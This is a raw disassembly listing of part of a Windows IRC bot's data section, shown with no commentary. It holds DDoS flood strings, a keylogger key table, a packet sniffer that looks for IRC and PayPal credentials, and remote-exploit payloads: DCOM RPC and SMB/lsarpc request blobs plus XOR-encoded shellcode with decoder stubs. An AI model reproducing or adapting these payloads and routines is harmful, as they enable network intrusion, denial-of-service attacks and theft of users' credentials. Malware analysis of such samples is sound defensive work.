dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset word_505446	; DATA XREF: ___:00426C70o
off_4274DC	dd offset byte_435249	; DATA XREF: ___:00426C6Co
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset unk_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset dword_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------


loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA


loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------


loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A


loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
